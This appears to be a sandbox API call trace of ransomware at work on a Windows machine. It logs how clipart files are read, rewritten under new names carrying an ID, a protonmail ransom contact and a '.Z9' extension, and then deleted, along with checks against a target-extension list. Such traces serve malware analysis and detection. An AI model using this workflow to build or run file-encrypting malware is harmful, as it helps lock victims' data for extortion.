	[0169.781] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0169.832] GetLastError () returned 0x0
	[0169.832] ReadFile (in: hFile=0x534, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x4314, lpOverlapped=0x0) returned 1
	[0169.835] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x4320, lpOverlapped=0x0) returned 1
	[0169.837] ReadFile (in: hFile=0x534, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.837] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.837] SetEndOfFile (hFile=0x4bc) returned 1
	[0169.837] CloseHandle (hObject=0x4bc) returned 1
	[0169.837] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.838] SetEndOfFile (hFile=0x534) returned 1
	[0169.842] CloseHandle (hObject=0x534) returned 1
	[0169.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 1
	[0169.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0169.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0169.848] lstrlenW (lpString=".doc") returned 4
	[0169.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.848] lstrlenW (lpString=".docx") returned 5
	[0169.848] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0169.848] lstrlenW (lpString=".pdf") returned 4
	[0169.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.848] lstrlenW (lpString=".xls") returned 4
	[0169.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.848] lstrlenW (lpString=".xlsx") returned 5
	[0169.848] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0169.848] lstrlenW (lpString=".ppt") returned 4
	[0169.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0169.848] lstrlenW (lpString=".zip") returned 4
	[0169.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.848] lstrlenW (lpString=".rar") returned 4
	[0169.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.848] lstrlenW (lpString=".bz2") returned 4
	[0169.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.848] lstrlenW (lpString=".7z") returned 3
	[0169.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0169.848] lstrlenW (lpString=".dbf") returned 4
	[0169.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0169.848] lstrlenW (lpString=".1cd") returned 4
	[0169.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0169.848] lstrlenW (lpString=".jpg") returned 4
	[0169.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0169.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0169.849] lstrlenW (lpString=".doc") returned 4
	[0169.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.849] lstrlenW (lpString=".docx") returned 5
	[0169.849] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0169.849] lstrlenW (lpString=".pdf") returned 4
	[0169.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.849] lstrlenW (lpString=".xls") returned 4
	[0169.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.849] lstrlenW (lpString=".xlsx") returned 5
	[0169.849] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0169.849] lstrlenW (lpString=".ppt") returned 4
	[0169.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0169.849] lstrlenW (lpString=".zip") returned 4
	[0169.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.849] lstrlenW (lpString=".rar") returned 4
	[0169.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.849] lstrlenW (lpString=".bz2") returned 4
	[0169.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.849] lstrlenW (lpString=".7z") returned 3
	[0169.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0169.849] lstrlenW (lpString=".dbf") returned 4
	[0169.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0169.849] lstrlenW (lpString=".1cd") returned 4
	[0169.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68
	[0169.849] lstrlenW (lpString=".jpg") returned 4
	[0169.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.849] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0169.850] lstrlenW (lpString="J0105244.WMF") returned 12
	[0169.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0169.850] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=11228) returned 1
	[0169.850] CloseHandle (hObject=0x534) returned 1
	[0169.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 0x220
	[0169.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0169.851] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.851] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0169.852] GetLastError () returned 0x0
	[0169.852] ReadFile (in: hFile=0x534, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x2bdc, lpOverlapped=0x0) returned 1
	[0169.854] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x2be0, lpOverlapped=0x0) returned 1
	[0169.855] ReadFile (in: hFile=0x534, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.855] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.855] SetEndOfFile (hFile=0x4bc) returned 1
	[0169.855] CloseHandle (hObject=0x4bc) returned 1
	[0169.856] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.856] SetEndOfFile (hFile=0x534) returned 1
	[0169.858] CloseHandle (hObject=0x534) returned 1
	[0169.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 1
	[0169.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0169.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0169.859] lstrlenW (lpString=".doc") returned 4
	[0169.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.859] lstrlenW (lpString=".docx") returned 5
	[0169.859] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0169.859] lstrlenW (lpString=".pdf") returned 4
	[0169.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.859] lstrlenW (lpString=".xls") returned 4
	[0169.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.859] lstrlenW (lpString=".xlsx") returned 5
	[0169.859] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0169.859] lstrlenW (lpString=".ppt") returned 4
	[0169.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0169.860] lstrlenW (lpString=".zip") returned 4
	[0169.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.860] lstrlenW (lpString=".rar") returned 4
	[0169.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.860] lstrlenW (lpString=".bz2") returned 4
	[0169.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.860] lstrlenW (lpString=".7z") returned 3
	[0169.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0169.860] lstrlenW (lpString=".dbf") returned 4
	[0169.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0169.860] lstrlenW (lpString=".1cd") returned 4
	[0169.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0169.860] lstrlenW (lpString=".jpg") returned 4
	[0169.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0169.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0169.860] lstrlenW (lpString=".doc") returned 4
	[0169.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.860] lstrlenW (lpString=".docx") returned 5
	[0169.860] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0169.860] lstrlenW (lpString=".pdf") returned 4
	[0169.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.860] lstrlenW (lpString=".xls") returned 4
	[0169.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.860] lstrlenW (lpString=".xlsx") returned 5
	[0169.860] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0169.860] lstrlenW (lpString=".ppt") returned 4
	[0169.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0169.861] lstrlenW (lpString=".zip") returned 4
	[0169.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.861] lstrlenW (lpString=".rar") returned 4
	[0169.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.861] lstrlenW (lpString=".bz2") returned 4
	[0169.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.861] lstrlenW (lpString=".7z") returned 3
	[0169.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0169.861] lstrlenW (lpString=".dbf") returned 4
	[0169.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0169.861] lstrlenW (lpString=".1cd") returned 4
	[0169.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68
	[0169.861] lstrlenW (lpString=".jpg") returned 4
	[0169.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.861] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0169.861] lstrlenW (lpString="J0105246.WMF") returned 12
	[0169.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0169.862] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=19328) returned 1
	[0169.862] CloseHandle (hObject=0x534) returned 1
	[0169.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 0x220
	[0169.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0169.863] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.863] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0169.864] GetLastError () returned 0x0
	[0169.864] ReadFile (in: hFile=0x534, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x4b80, lpOverlapped=0x0) returned 1
	[0169.866] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x4b90, lpOverlapped=0x0) returned 1
	[0169.868] ReadFile (in: hFile=0x534, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.868] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.868] SetEndOfFile (hFile=0x4bc) returned 1
	[0169.868] CloseHandle (hObject=0x4bc) returned 1
	[0169.868] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.868] SetEndOfFile (hFile=0x534) returned 1
	[0169.871] CloseHandle (hObject=0x534) returned 1
	[0169.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 1
	[0169.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0169.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0169.872] lstrlenW (lpString=".doc") returned 4
	[0169.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.872] lstrlenW (lpString=".docx") returned 5
	[0169.872] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0169.872] lstrlenW (lpString=".pdf") returned 4
	[0169.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.872] lstrlenW (lpString=".xls") returned 4
	[0169.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.872] lstrlenW (lpString=".xlsx") returned 5
	[0169.872] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0169.872] lstrlenW (lpString=".ppt") returned 4
	[0169.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0169.872] lstrlenW (lpString=".zip") returned 4
	[0169.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.872] lstrlenW (lpString=".rar") returned 4
	[0169.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.872] lstrlenW (lpString=".bz2") returned 4
	[0169.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.872] lstrlenW (lpString=".7z") returned 3
	[0169.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0169.872] lstrlenW (lpString=".dbf") returned 4
	[0169.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0169.872] lstrlenW (lpString=".1cd") returned 4
	[0169.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0169.873] lstrlenW (lpString=".jpg") returned 4
	[0169.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0169.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0169.873] lstrlenW (lpString=".doc") returned 4
	[0169.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.873] lstrlenW (lpString=".docx") returned 5
	[0169.873] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0169.873] lstrlenW (lpString=".pdf") returned 4
	[0169.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.873] lstrlenW (lpString=".xls") returned 4
	[0169.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.873] lstrlenW (lpString=".xlsx") returned 5
	[0169.873] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0169.873] lstrlenW (lpString=".ppt") returned 4
	[0169.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0169.873] lstrlenW (lpString=".zip") returned 4
	[0169.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.873] lstrlenW (lpString=".rar") returned 4
	[0169.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.873] lstrlenW (lpString=".bz2") returned 4
	[0169.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.873] lstrlenW (lpString=".7z") returned 3
	[0169.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0169.873] lstrlenW (lpString=".dbf") returned 4
	[0169.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0169.873] lstrlenW (lpString=".1cd") returned 4
	[0169.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68
	[0169.874] lstrlenW (lpString=".jpg") returned 4
	[0169.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.874] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0169.874] lstrlenW (lpString="J0105250.WMF") returned 12
	[0169.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0169.947] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=4628) returned 1
	[0169.947] CloseHandle (hObject=0x530) returned 1
	[0169.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 0x220
	[0169.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
